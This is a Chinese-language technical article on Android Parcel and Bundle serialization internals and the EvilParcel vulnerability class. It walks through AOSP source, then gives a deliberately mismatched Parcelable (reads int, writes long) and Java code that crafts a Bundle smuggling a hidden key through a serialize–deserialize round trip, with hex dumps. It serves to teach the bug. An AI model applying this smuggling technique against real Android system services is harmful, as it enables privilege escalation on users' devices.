简介
随着移动应用程序的快速发展和普及,安卓平台上的安全性问题越来越受到关注。在安卓应用程序中,序列化是一种常见的数据交换和持久化机制,然而,序列化操作也引入了一些安全风险,其中之一就是EvilParcel漏洞。本文将深入探讨EvilParcel漏洞的背景、工作原理以及对安卓系统的重要性。
在Android开发中,序列化是指将对象转换为可传输或可存储的形式,以便在不同的上下文中进行传递或持久化。序列化将对象转换为字节流或其他形式,使其可以在网络上传输、存储到文件系统或在内存中保存。
在Android中,有两种常见的序列化方式:
- Java的Serializable接口:Java的Serializable接口是Java语言提供的一种序列化机制。通过实现Serializable接口,对象可以被序列化为字节流,并可以在网络上传输或存储到文件系统中。在Android中,Serializable接口同样适用,可以将对象序列化为字节数组,或者通过ObjectInputStream和ObjectOutputStream进行读取和写入。
- Android的Parcelable接口:Android提供了Parcelable接口,它是一种高效的序列化方式,特别设计用于在Android组件之间传递对象。与Serializable接口相比,Parcelable接口在性能上更高效,因为它使用了更轻量级的序列化方式。通过实现Parcelable接口,对象可以将其字段以原始数据类型的形式写入Parcel对象,然后在需要的时候进行读取。Parcelable接口要求实现
writeToParcel()
方法来将对象字段写入Parcel,以及一个特殊的构造函数或CREATOR
字段来从Parcel中读取字段。
使用序列化的好处:
- 数据持久化:序列化可以将对象保存到文件系统或数据库中,以便在后续的应用程序启动时恢复对象的状态。
- 进程间通信:通过序列化,可以在不同的进程之间传递对象,实现进程间通信(IPC)。
- 跨网络传输:序列化可以将对象转换为字节流,便于通过网络进行传输。
Parcel设计的初衷是轻量和高效因此牺牲了安全性,缺乏安全校验且在底层是手动控制,所以很容易出现漏洞,aosp曾经报出多个与反序列化相关的漏洞。
前置基础知识
传输Intent时,将Bundle对象转换序列化为包裹在Parcel中的字节数组,然后在从序列化Bundle中读取键和值后自动将其反序列化。
在Bundle中,键是字符串,值几乎可以是任何值。 例如,它可以是原始类型,字符串或具有原始类型或字符串的容器。 它也可以是一个Parcelable对象。
因此,捆绑包可以包含实现Parcelable接口的任何类型的对象。 为此,我们需要实现writeToParcel()和createFromParcel()方法来序列化和反序列化对象。
二进制存储方式
通过aosp源码查看Parcel对int、long、String的数据类型写入和读取。方便理解Parcel的序列化漏洞。这里以Android8.1版本源码查看代码实现,Parcel的代码接口实现是在frameworks/base/core/java/android/os/Parcel.java
中,但这里是给sdk提供调用接口,真正实现Parcel功能的代码是在native中,在Parcel.java
就存在很多jni函数调用其代码是在frameworks/base/core/jni/android_os_Parcel.cpp
中,因分层开发思想jni中也不会有最终具体调用代码,jni函数还会再次调用so库的实现代码,具体的是frameworks/native/libs/binder/Parcel.cpp
.
- writeInt
private static native void nativeWriteInt(long nativePtr, int val);
/**
* Write an integer value into the parcel at the current dataPosition(),
* growing dataCapacity() if needed.
*/
public final void writeInt(int val) {
nativeWriteInt(mNativePtr, val);
}
frameworks/base/core/jni/android_os_Parcel.cpp
static void android_os_Parcel_writeInt(JNIEnv* env, jclass clazz, jlong nativePtr, jint val) {
Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
if (parcel != NULL) {
const status_t err = parcel->writeInt32(val);
if (err != NO_ERROR) {
signalExceptionForError(env, clazz, err);
}
}
}
frameworks/native/libs/binder/Parcel.cpp
status_t Parcel::writeInt32(int32_t val)
{
return writeAligned(val);
}
status_t Parcel::writeAligned(T val) {
COMPILE_TIME_ASSERT_FUNCTION_SCOPE(PAD_SIZE_UNSAFE(sizeof(T)) == sizeof(T));
if ((mDataPos+sizeof(val)) <= mDataCapacity) {
restart_write:
*reinterpret_cast<T*>(mData+mDataPos) = val;
return finishWrite(sizeof(val));
}
status_t err = growData(sizeof(val));
if (err == NO_ERROR) goto restart_write;
return err;
}
status_t Parcel::finishWrite(size_t len)
{
if (len > INT32_MAX) {
// don't accept size_t values which may have come from an
// inadvertent conversion from a negative int.
return BAD_VALUE;
}
//printf("Finish write of %d\n", len);
mDataPos += len;
ALOGV("finishWrite Setting data pos of %p to %zu", this, mDataPos);
if (mDataPos > mDataSize) {
mDataSize = mDataPos;
ALOGV("finishWrite Setting data size of %p to %zu", this, mDataSize);
}
//printf("New pos=%d, size=%d\n", mDataPos, mDataSize);
return NO_ERROR;
}
status_t Parcel::growData(size_t len)
{
if (len > INT32_MAX) {
// don't accept size_t values which may have come from an
// inadvertent conversion from a negative int.
return BAD_VALUE;
}
size_t newSize = ((mDataSize+len)*3)/2;
return (newSize <= mDataSize)
? (status_t) NO_MEMORY
: continueWrite(newSize);
}
writeAligned这是一个模板函数,用于将一个值写入Parcel对象。它接受一个模板参数T
表示值的类型,在该代码段中,T
被推断为传入的参数类型。此函数的主要工作如下:
- 首先,它使用
static_assert
断言来检查T
的大小是否与对齐大小相同,并确保T
是可平凡复制的(trivially copyable)类型。这些检查确保只能写入大小正确且可复制的类型。 - 接下来,它检查是否有足够的空间来容纳要写入的值。如果有足够的空间,它将值通过
memcpy
函数复制到Parcel数据缓冲区中的适当位置。 - 如果没有足够的空间,它将调用
growData()
函数来扩展Parcel的数据缓冲区以容纳新的值,并重新尝试写入操作。 - 如果扩展数据缓冲区成功,则通过标签
restart_write
回到写入操作的开始处,重新尝试写入值。 - 如果扩展数据缓冲区失败,则返回错误代码。
Parcel::writeInt32(int32_t val)
:int32_t val
:要写入Parcel对象的32位整数值。
Parcel::writeAligned(T val)
:T val
:要写入Parcel对象的值。T
是一个模板参数,表示值的类型,在该代码段中,T
被推断为传入的参数类型。
Parcel::finishWrite(size_t len)
:- 作用:完成写入操作并更新Parcel对象的数据位置和大小。
- 参数:
size_t len
:写入Parcel对象的数据长度。
- 返回值:
status_t
类型,表示写入操作的状态。
- 功能:
- 首先,它检查写入的数据长度是否超过了INT32_MAX,如果超过了,会返回BAD_VALUE表示非法的数据长度。
- 然后,它将数据位置(mDataPos)增加len,表示已经写入了len个字节的数据。
- 接着,它检查数据位置(mDataPos)是否大于数据大小(mDataSize),如果是,更新数据大小为当前数据位置,表示数据大小随写入操作增长。
- 最后,它返回NO_ERROR表示写入操作成功。
Parcel::growData(size_t len)
:- 作用:在需要时扩展Parcel对象的数据缓冲区的大小。
- 参数:
size_t len
:要扩展的Parcel数据缓冲区的长度。
- 返回值:
status_t
类型,表示扩展数据缓冲区的状态。
- 功能:
- 首先,它检查要扩展的数据长度是否超过了INT32_MAX,如果超过了,会返回BAD_VALUE表示非法的数据长度。
- 然后,它计算新的数据大小(newSize),通过将当前数据大小(mDataSize)与要扩展的长度(len)相加,并乘以3/2来确定扩展后的大小。
- 接着,它判断新的数据大小是否小于等于当前数据大小,如果是,则表示内存不足,返回NO_MEMORY。
- 如果新的数据大小大于当前数据大小,它将调用
continueWrite()
函数来继续写入操作,扩展数据缓冲区,并返回相应的状态。
- writeString
/**
* Write a string value into the parcel at the current dataPosition(),
* growing dataCapacity() if needed.
*/
public final void writeString(String val) {
mReadWriteHelper.writeString(this, val);
}
frameworks/base/core/jni/android_os_Parcel.cpp
static void android_os_Parcel_writeString(JNIEnv* env, jclass clazz, jlong nativePtr, jstring val)
{
Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
if (parcel != NULL) {
status_t err = NO_MEMORY;
if (val) {
const jchar* str = env->GetStringCritical(val, 0);
if (str) {
err = parcel->writeString16(
reinterpret_cast<const char16_t*>(str),
env->GetStringLength(val)); // 返回的是 Unicode 字符
env->ReleaseStringCritical(val, str);
}
} else {
err = parcel->writeString16(NULL, 0);
}
if (err != NO_ERROR) {
signalExceptionForError(env, clazz, err);
}
}
}
frameworks/native/libs/binder/Parcel.cpp
status_t Parcel::writeString16(const std::unique_ptr<String16>& str)
{
if (!str) {
return writeInt32(-1);
}
return writeString16(*str);
}
status_t Parcel::writeString16(const String16& str)
{
return writeString16(str.string(), str.size());
}
status_t Parcel::writeString16(const char16_t* str, size_t len)
{
if (str == NULL) return writeInt32(-1);
status_t err = writeInt32(len);
if (err == NO_ERROR) {
len *= sizeof(char16_t);
uint8_t* data = (uint8_t*)writeInplace(len+sizeof(char16_t));
if (data) {
memcpy(data, str, len);
*reinterpret_cast<char16_t*>(data+len) = 0;
return NO_ERROR;
}
err = mError;
}
return err;
}
1.android_os_Parcel_writeString(JNIEnv* env, jclass clazz, jlong nativePtr, jstring val)
首先,通过reinterpret_cast
将nativePtr
转换为Parcel*
类型的指针,以获取对应的Parcel对象。
检查Parcel对象是否为空指针。如果为空,则不执行任何操作。
如果Parcel对象不为空,进行以下操作:
- 创建一个
status_t
类型的变量err
,并初始化为NO_ERROR
,表示操作成功。 - 检查Parcel对象是否为空指针。如果为空,则不执行任何操作。
- 如果Parcel对象不为空,进行以下操作:
- 获取字符串的长度
len
,以及需要分配的内存长度allocLen
(以char16_t
为单位)。 - 调用
parcel->writeInt32(len)
写入字符串的长度。 - 调用
parcel->writeInplace(allocLen + sizeof(char16_t))
获取写入数据的指针data
。 - 如果
data
不为nullptr,表示获取写入指针成功,将Java层的字符串内容复制到data
指向的内存区域,并在末尾添加一个null终止字符。 - 如果
data
为nullptr,表示内存不足,将err
设置为NO_MEMORY
。
- 获取字符串的长度
- 如果
val
为null,表示要写入一个空字符串,调用parcel->writeString16(nullptr, 0)
来写入。 - 最后,如果
err
不等于NO_ERROR
,表示写入操作出错,调用signalExceptionForError()
函数向Java层抛出异常,传递错误信息。
要注意 GetStringRegion 返回的是 Unicode 字符,因此每个字符占 2 字节;
2.Parcel::writeString16(const char16_t* str, size_t len)
:
- 作用:将指定长度的char16_t类型字符串写入Parcel对象。
- 参数:
const char16_t* str
:指向要写入的字符串的指针。size_t len
:要写入的字符串的长度。
- 返回值:
status_t
类型,表示写入操作的状态。
- 功能:
- 首先,它检查指针是否为空。如果为空,表示字符串为null,将写入一个特殊的标识-1(通过调用
writeInt32(-1)
),并返回相应的状态。 - 如果指针不为空,它将先写入字符串的长度(以int32形式),然后在Parcel对象的数据缓冲区中预留足够的空间来存储字符串内容。
- 接着,它将字符串内容复制到Parcel对象的数据缓冲区,并在末尾添加一个null终止字符。
- 最后,它返回写入操作的状态。
- 首先,它检查指针是否为空。如果为空,表示字符串为null,将写入一个特殊的标识-1(通过调用
3.void* Parcel::writeInplace(size_t len)
:
-
作用:在Parcel对象的数据缓冲区中就地写入数据,并返回写入数据的指针。
-
参数:
size_t len
:要写入的数据的长度。
-
返回值:
void*
类型,指向写入的数据的指针。
-
功能:
- 首先,它检查要写入的数据长度是否超过了INT32_MAX,如果超过了,会返回NULL表示非法的数据长度。
- 然后,它计算要写入数据的长度的对齐值(padded),调用
finishWrite(padded)
来完成写入操作,并返回写入数据的指针。 - 在写入数据之前,它还会进行一些检查,如检查整数溢出的情况和是否需要进行数据对齐。
- 如果写入操作失败,则返回NULL。
-
writeArray
public final void writeArray(Object[] val) {
if (val == null) {
writeInt(-1);
return;
}
int N = val.length;
int i=0;
writeInt(N);
while (i < N) {
writeValue(val[i]);
i++;
}
}
public final void writeByteArray(byte[] b) {
writeByteArray(b, 0, (b != null) ? b.length : 0);
}
public final void writeByteArray(byte[] b, int offset, int len) {
if (b == null) {
writeInt(-1);
return;
}
Arrays.checkOffsetAndCount(b.length, offset, len);
nativeWriteByteArray(mNativePtr, b, offset, len);
}
frameworks/base/core/jni/android_os_Parcel.cpp
static void android_os_Parcel_writeByteArray(JNIEnv* env, jclass clazz, jlong nativePtr,
jobject data, jint offset, jint length)
{
Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
if (parcel == NULL) {
return;
}
const status_t err = parcel->writeInt32(length);
if (err != NO_ERROR) {
signalExceptionForError(env, clazz, err);
return;
}
void* dest = parcel->writeInplace(length);
if (dest == NULL) {
signalExceptionForError(env, clazz, NO_MEMORY);
return;
}
jbyte* ar = (jbyte*)env->GetPrimitiveArrayCritical((jarray)data, 0);
if (ar) {
memcpy(dest, ar + offset, length);
env->ReleasePrimitiveArrayCritical((jarray)data, ar, 0);
}
}
函数使用memcpy来写入Array内容。
android_os_Parcel_writeByteArray(JNIEnv* env, jclass clazz, jlong nativePtr,jobject data, jint offset, jint length)
-
调用
parcel->writeInt32(length)
将整型变量length
写入Parcel对象,表示要写入的字节数组的长度。 -
检查写入操作的状态,如果出错,则调用
signalExceptionForError()
函数向Java层抛出异常,传递错误信息,并返回。 -
调用
parcel->writeInplace(length)
获取用于写入数据的内存指针dest
。 -
检查内存指针是否为空,如果为空,则调用
signalExceptionForError()
函数向Java层抛出异常,传递内存不足的错误信息,并返回。 -
使用
env->GetPrimitiveArrayCritical((jarray)data, 0)
获取字节数组data
的指针ar
。 -
如果
ar
不为空指针,表示获取字节数组指针成功,将字节数组中从偏移量offset
开始的长度为length
的数据复制到dest
指向的内存区域。 -
最后,使用
env->ReleasePrimitiveArrayCritical((jarray)data, ar, 0)
释放字节数组的指针。
-
- Parcelable
/**
* Flatten the name of the class of the Parcelable and its contents
* into the parcel.
*
* @param p The Parcelable object to be written.
* @param parcelableFlags Contextual flags as per
* {@link Parcelable#writeToParcel(Parcel, int) Parcelable.writeToParcel()}.
*/
public final void writeParcelable(Parcelable p, int parcelableFlags) {
if (p == null) {
writeString(null);
return;
}
writeParcelableCreator(p);
p.writeToParcel(this, parcelableFlags);
}
/** @hide */
public final void writeParcelableCreator(Parcelable p) {
String name = p.getClass().getName();
writeString(name);
}
- Bundle 序列化
public void writeToParcel(Parcel parcel, int flags) {
final boolean oldAllowFds = parcel.pushAllowFds((mFlags & FLAG_ALLOW_FDS) != 0);
try {
writeToParcelInner(parcel, flags);
} finally {
parcel.restoreAllowFds(oldAllowFds);
}
}
frameworks/base/core/java/android/os/BaseBundle.java
void writeToParcelInner(Parcel parcel, int flags) {
// If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first.
if (parcel.hasReadWriteHelper()) {
unparcel();
}
// Keep implementation in sync with writeToParcel() in
// frameworks/native/libs/binder/PersistableBundle.cpp.
final ArrayMap<String, Object> map;
synchronized (this) {
// unparcel() can race with this method and cause the parcel to recycle
// at the wrong time. So synchronize access the mParcelledData's content.
if (mParcelledData != null) {
if (mParcelledData == NoImagePreloadHolder.EMPTY_PARCEL) {
parcel.writeInt(0);
} else {
int length = mParcelledData.dataSize();
parcel.writeInt(length);
parcel.writeInt(BUNDLE_MAGIC);
parcel.appendFrom(mParcelledData, 0, length);
}
return;
}
map = mMap;
}
// Special case for empty bundles.
if (map == null || map.size() <= 0) {
parcel.writeInt(0);
return;
}
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
}
frameworks/base/core/java/android/os/Parcel.java
/**
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */ void writeArrayMapInternal(ArrayMap<String, Object> val) {
if (val == null) {
writeInt(-1);
return;
}
// Keep the format of this Parcel in sync with writeToParcelInner() in
// frameworks/native/libs/binder/PersistableBundle.cpp.
final int N = val.size();
writeInt(N);
if (DEBUG_ARRAY_MAP) {
RuntimeException here = new RuntimeException("here");
here.fillInStackTrace();
Log.d(TAG, "Writing " + N + " ArrayMap entries", here);
}
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
if (DEBUG_ARRAY_MAP) Log.d(TAG, " Write #" + i + " "
+ (dataPosition()-startPos) + " bytes: key=0x"
+ Integer.toHexString(val.keyAt(i) != null ? val.keyAt(i).hashCode() : 0)
+ " " + val.keyAt(i));
}
}
public final void writeValue(@Nullable Object v) {
if (v == null) {
writeInt(VAL_NULL);
} else if (v instanceof String) {
writeInt(VAL_STRING);
writeString((String) v);
} else if (v instanceof Integer) {
writeInt(VAL_INTEGER);
writeInt((Integer) v);
} else if (v instanceof Map) {
writeInt(VAL_MAP);
writeMap((Map) v);
} else if (v instanceof Bundle) {
// Must be before Parcelable
writeInt(VAL_BUNDLE);
writeBundle((Bundle) v);
} else if (v instanceof PersistableBundle) {
writeInt(VAL_PERSISTABLEBUNDLE);
writePersistableBundle((PersistableBundle) v);
} // ....
else {
Class<?> clazz = v.getClass();
if (clazz.isArray() && clazz.getComponentType() == Object.class) {
// Only pure Object[] are written here, Other arrays of non-primitive types are
// handled by serialization as this does not record the component type.
writeInt(VAL_OBJECTARRAY);
writeArray((Object[]) v);
} else if (v instanceof Serializable) {
// Must be last
writeInt(VAL_SERIALIZABLE);
writeSerializable((Serializable) v);
} else {
throw new RuntimeException("Parcel: unable to marshal value " + v);
}
}
}
Bundle 的过程先写入整型的 size,然后依次写入每个 key 和 value。writeValue会根据对象类型分别写入一个代表类型的整数以及具体的数据。所支持的类型如下所示:
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
private static final int VAL_DOUBLE = 8;
private static final int VAL_BOOLEAN = 9;
private static final int VAL_CHARSEQUENCE = 10;
private static final int VAL_LIST = 11;
private static final int VAL_SPARSEARRAY = 12;
private static final int VAL_BYTEARRAY = 13;
private static final int VAL_STRINGARRAY = 14;
private static final int VAL_IBINDER = 15;
private static final int VAL_PARCELABLEARRAY = 16;
private static final int VAL_OBJECTARRAY = 17;
private static final int VAL_INTARRAY = 18;
private static final int VAL_LONGARRAY = 19;
private static final int VAL_BYTE = 20;
private static final int VAL_SERIALIZABLE = 21;
private static final int VAL_SPARSEBOOLEANARRAY = 22;
private static final int VAL_BOOLEANARRAY = 23;
private static final int VAL_CHARSEQUENCEARRAY = 24;
private static final int VAL_PERSISTABLEBUNDLE = 25;
private static final int VAL_SIZE = 26;
private static final int VAL_SIZEF = 27;
Bundle举例说明序列化后的二进制:
Bundle topsec =new Bundle();
topsec.putInt("key1", 0x1337);
topsec.putString("key2", "hello");
topsec.putLong("key3", 0x012345678);
topsec.putInt("key4",0x11111);
topsec.putByteArray("key5","testt".getBytes());
Parcel topsecoutput = Parcel.obtain();
topsecoutput.writeBundle(topsec);
topsecoutput.setDataPosition(0);
byte[] topsec_out = topsecoutput.marshall();
try{
FileOutputStream fileOutputStream = new FileOutputStream(MainActivity.this.getCacheDir()+File.separator+"topsec_output.plc");
fileOutputStream.write(topsec_out);
fileOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}
二进制文件手动解析:
00000000: 9400 0000 424e 444c 0500 0000 0400 0000 ....BNDL........
00000010: 6b00 6500 7900 3100 0000 0000 0100 0000 k.e.y.1.........
00000020: 3713 0000 0400 0000 6b00 6500 7900 3200 7.......k.e.y.2.
00000030: 0000 0000 0000 0000 0500 0000 6800 6500 ............h.e.
00000040: 6c00 6c00 6f00 0000 0400 0000 6b00 6500 l.l.o.......k.e.
00000050: 7900 3300 0000 0000 0600 0000 7856 3412 y.3.........xV4.
00000060: 0000 0000 0400 0000 6b00 6500 7900 3400 ........k.e.y.4.
00000070: 0000 0000 0100 0000 1111 0100 0400 0000 ................
00000080: 6b00 6500 7900 3500 0000 0000 0d00 0000 k.e.y.5.........
00000090: 0500 0000 7465 7374 7400 0000 ....testt...
序列化包大小:9400 0000
序列化magic:424e 444c
key/value个数:0400 0000
[0]key大小:0400 0000
[0]key的值:6b00 6500 7900 3100
[0]value的类型:0100 0000
[0]value的值:3713 0000
[1]key大小:0400 0000
[1]key的值:6b00 6500 7900 3200
[1]value的类型:0500 0000
[1]value的值:6800 6500 6c00 6c00 6f00 0000
[2]key大小:0400 0000
[2]key的值:6b00 6500 7900 3300
[2]value的类型:0600 0000
[2]value的值:7856 3412 0000 0000
[3]key大小:0400 0000
[3]key的值:6b00 6500 7900 3400
[3]value的类型:0100 0000
[3]value的值:1111 0100
[4]key大小:0400 0000
[4]key的值:6b00 6500 7900 3500
[4]value的类型:0d00 0000
[4]value的长度:0500 0000
[4]value的值:7465 7374 7400 0000
序列化后二进制格式:包大小+magic+map个数 key大小+key/value+value类型+[value的长度]+value.
Bundle序列化的特定功能:
所有键值对均按顺序写入;在每个值之前指示值类型(13表示字节数组,1表示整数,0表示字符串,等等);可变长度数据大小在数据之前指示(字符串的长度,数组的字节数);所有值都是4字节对齐的。
反序列化漏洞示例
通过一个错误Parcelable的类来了解反序列化的原因。
public class MyParcelable implements Parcelable {
private long mData;
protected MyParcelable(){
}
protected MyParcelable(Parcel in) {
mData = in.readInt();
}
public static final Creator<Vulnerable> CREATOR = new Creator<Vulnerable>() {
@Override
public Vulnerable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
@Override
public Vulnerable[] newArray(int size) {
return new MyParcelable[size];
}
};
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(@NonNull Parcel dest, int flags) {
dest.writeLong(mData);
}
}
使用Parcel构造序列化
Parcel data = Parcel.obtain();
data.writeInt(3); // 3 entries
data.writeString("vuln_class");
data.writeInt(4); // value is Parcelable
data.writeString("com.topsec.test2.MyParcelable");
data.writeInt(0); // data.length
data.writeInt(1); // key length -> key value
data.writeInt(6); // key value -> value is long
data.writeInt(0xD); // value is bytearray -> low(long)
data.writeInt(-1); // bytearray length dummy -> high(long)
int startPos = data.dataPosition();
data.writeString("hidden"); // bytearray data -> hidden key
data.writeInt(0); // value is string
data.writeString("Hi there"); // hidden value
int endPos = data.dataPosition();
int triggerLen = endPos - startPos;
data.setDataPosition(startPos - 4);
data.writeInt(triggerLen); // overwrite dummy value with the real value
data.setDataPosition(endPos);
data.writeString("A padding");
data.writeInt(0); // value is string
data.writeString("to match pair count");
int length = data.dataSize();
Parcel bndl = Parcel.obtain();
bndl.writeInt(length);
bndl.writeInt(0x4C444E42); // bundle magic
bndl.appendFrom(data, 0, length);
bndl.setDataPosition(0);
Bundle bundle = new Bundle(this.getClass().getClassLoader());
bundle.readFromParcel(bndl);
Set<String> test = bundle.keySet();
构造的示意图:
在key[1]的value中增加隐藏的key-value数据,当反序列化后再序列化之后,这个隐藏的key就会被解析出来。
二进制文件:
00000000: f000 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e.......
00000070: 0100 0000 0600 0000 0d00 0000 3000 0000 ............0...
00000080: 0600 0000 6800 6900 6400 6400 6500 6e00 ....h.i.d.d.e.n.
00000090: 0000 0000 0000 0000 0800 0000 4800 6900 ............H.i.
000000a0: 2000 7400 6800 6500 7200 6500 0000 0000 .t.h.e.r.e.....
000000b0: 0900 0000 4100 2000 7000 6100 6400 6400 ....A. .p.a.d.d.
000000c0: 6900 6e00 6700 0000 0000 0000 1300 0000 i.n.g...........
000000d0: 7400 6f00 2000 6d00 6100 7400 6300 6800 t.o. .m.a.t.c.h.
000000e0: 2000 7000 6100 6900 7200 2000 6300 6f00 .p.a.i.r. .c.o.
000000f0: 7500 6e00 7400 0000 u.n.t...
再次序列化Bundle,然后再次对其进行反序列化
Parcel newParcel = Parcel.obtain();
newParcel.writeBundle(bundle);
newParcel.setDataPosition(0);
Bundle bundletest = new Bundle(this.getClass().getClassLoader());
bundletest.readFromParcel(newParcel);
Set<String> test2 = bundletest.keySet();
二进制文件:
00000000: f400 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e.......
00000070: 0000 0000 0100 0000 0600 0000 0d00 0000 ................
00000080: 3000 0000 0600 0000 6800 6900 6400 6400 0.......h.i.d.d.
00000090: 6500 6e00 0000 0000 0000 0000 0800 0000 e.n.............
000000a0: 4800 6900 2000 7400 6800 6500 7200 6500 H.i. .t.h.e.r.e.
000000b0: 0000 0000 0900 0000 4100 2000 7000 6100 ........A. .p.a.
000000c0: 6400 6400 6900 6e00 6700 0000 0000 0000 d.d.i.n.g.......
000000d0: 1300 0000 7400 6f00 2000 6d00 6100 7400 ....t.o. .m.a.t.
000000e0: 6300 6800 2000 7000 6100 6900 7200 2000 c.h. .p.a.i.r. .
000000f0: 6300 6f00 7500 6e00 7400 0000 c.o.u.n.t...
第一次序列化+反序列化时解析:
00000000: f000 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e.......
00000070: 0100 0000 0600 0000 0d00 0000 3000 0000 ............0...
00000080: 0600 0000 6800 6900 6400 6400 6500 6e00 ....h.i.d.d.e.n.
00000090: 0000 0000 0000 0000 0800 0000 4800 6900 ............H.i.
000000a0: 2000 7400 6800 6500 7200 6500 0000 0000 .t.h.e.r.e.....
000000b0: 0900 0000 4100 2000 7000 6100 6400 6400 ....A. .p.a.d.d.
000000c0: 6900 6e00 6700 0000 0000 0000 1300 0000 i.n.g...........
000000d0: 7400 6f00 2000 6d00 6100 7400 6300 6800 t.o. .m.a.t.c.h.
000000e0: 2000 7000 6100 6900 7200 2000 6300 6f00 .p.a.i.r. .c.o.
000000f0: 7500 6e00 7400 0000 u.n.t...
序列化包大小:f0000000
序列化 magic:424e444c
key/value 个数:03000000
[0] Key 大小:0a000000
[0] Key 的值:760075006c006e005f0063006c00610073007300
[0] Value 的类型:04000000
[0] Value 的长度:1d00 0000
[0] Value 的值:6300 6f00 6d00 2e00 7400 6f00 7000 7300 .. 6c00 6100 6200 6c00 6500 0000 0000 0000
[1] key 大小:0100 0000
[1] key 的值:0600 0000
[1] Value 的类型:0d00 0000 // bytearray 类型
[1] Value 的长度:3000 0000
[1] Value 的值:0600 0000 6800 6900 6400 6400 6500 6e00 ... 2000 7400 6800 6500 7200 6500 0000 0000
[2] key 大小:0900 0000
[2] key 的值:4100 2000 7000 6100 6400 6400 6900 6e00 6700
[2] Value 的类型: 0000
[2] Value 的长度:1300 0000
[2] Value 的值:7400 6f00 2000 6d00 6100 7400 6300 6800 2000 7000 6100 6900 7200 2000 6300 6f00 ...
第二次反序列化+序列化时解析:
00000000: f400 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e.......
00000070: 0000 0000 0100 0000 0600 0000 0d00 0000 ................
00000080: 3000 0000 0600 0000 6800 6900 6400 6400 0.......h.i.d.d.
00000090: 6500 6e00 0000 0000 0000 0000 0800 0000 e.n.............
000000a0: 4800 6900 2000 7400 6800 6500 7200 6500 H.i. .t.h.e.r.e.
000000b0: 0000 0000 0900 0000 4100 2000 7000 6100 ........A. .p.a.
000000c0: 6400 6400 6900 6e00 6700 0000 0000 0000 d.d.i.n.g.......
000000d0: 1300 0000 7400 6f00 2000 6d00 6100 7400 ....t.o. .m.a.t.
000000e0: 6300 6800 2000 7000 6100 6900 7200 2000 c.h. .p.a.i.r. .
000000f0: 6300 6f00 7500 6e00 7400 0000 c.o.u.n.t...
序列化包大小:f4000000
序列化 magic:424e444c
key/value 个数:03000000
[0] key 的大小:0a00 0000
[0] Key 的值:7600 7500 6c00 6e00 5f00 6300 6c00 6100 7300 7300
[0] Value 的类型:0400 0000 // VAL_PARCELABLE parcelable类型
[0] Value 的长度:1d00 0000
[0] Value 的值:6300 6f00 6d00 2e00 7400 6f00 7000 7300 ... 6c00 6100 6200 6c00 6500 0000 0000 0000
[1] key 的大小:0000 0000
[1] key 的值:0100 0000
[1] Value的类型:0600 0000 // VAL_LONG long类型
[1] value的值:0d00 0000 3000 0000
[2] key 的大小:0600 0000
[2] key 的值:6800 6900 6400 6400 6500 6e00
[2] Value的类型:0000 0000 // VAL_STRING string 类型
[2] Value的长度:0800 0000
[2] Value的值:4800 6900 2000 7400 6800 6500 7200 6500
--- 这个key-value被抛弃 ---
[3] key 的大小:0900 0000
